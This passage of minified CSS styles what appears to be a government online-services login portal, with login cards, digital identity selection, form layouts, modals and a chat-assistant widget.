hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid 